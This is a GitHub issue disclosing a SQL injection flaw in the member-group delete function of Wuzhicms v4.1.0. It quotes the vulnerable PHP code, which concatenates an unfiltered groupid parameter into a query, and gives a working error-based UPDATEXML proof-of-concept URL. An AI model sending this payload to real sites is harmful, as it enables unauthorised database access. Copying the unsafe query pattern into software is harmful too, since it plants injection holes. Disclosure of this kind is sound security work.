Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wuzhicms v4.1.0 /coreframe/app/member/admin/group.php hava a SQL Injection Vulnerability #200

Open
jinwandalaohuaa opened this issue Mar 18, 2022 · 0 comments

Comments

@jinwandalaohuaa
Copy link

Vulnerability file:

/coreframe/app/member/admin/group.php:132-160

 public function del() {
	if(isset($GLOBALS['groupid']) && $GLOBALS['groupid']) {
		if(is_array($GLOBALS['groupid'])) {
			$where = ' IN ('.implode(',', $GLOBALS['groupid']).')';
			foreach($GLOBALS['groupid'] as $gid) {
				$this->db->delete('member_group_priv', array('groupid' => $gid));
			}
		} else {
			$where = ' = '.$GLOBALS['groupid'];
			$this->db->delete('member_group_priv', array('groupid' => $GLOBALS['groupid']));
		}
		$this->db->delete('member_group', 'issystem != 1 AND groupid'.$where);
		$this->group->set_cache();
		if(isset($GLOBALS['callback'])){
			echo $GLOBALS['callback'].'({"status":1})';
		}else{
			MSG(L('operation_success'));
		}
	}else{
		if(isset($GLOBALS['callback'])){
			echo $GLOBALS['callback'].'({"status":0})';
		}else{
			MSG(L('operation_failure'));
		}
	}
}

In the group.php file, the $groupid parameter under the del method are controllable, and the $groupid parameter is not strictly filtered, causing SQL injection vulnerabilities!

POC

index.php?m=member&f=group&v=del&groupid=7 and UPDATEXML(1,CONCAT(0x7e,database()),3)&_su=wuzhicms&_menuid=86

image

The vulnerability is located in the management member -> member group management list -> delete operation

image

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant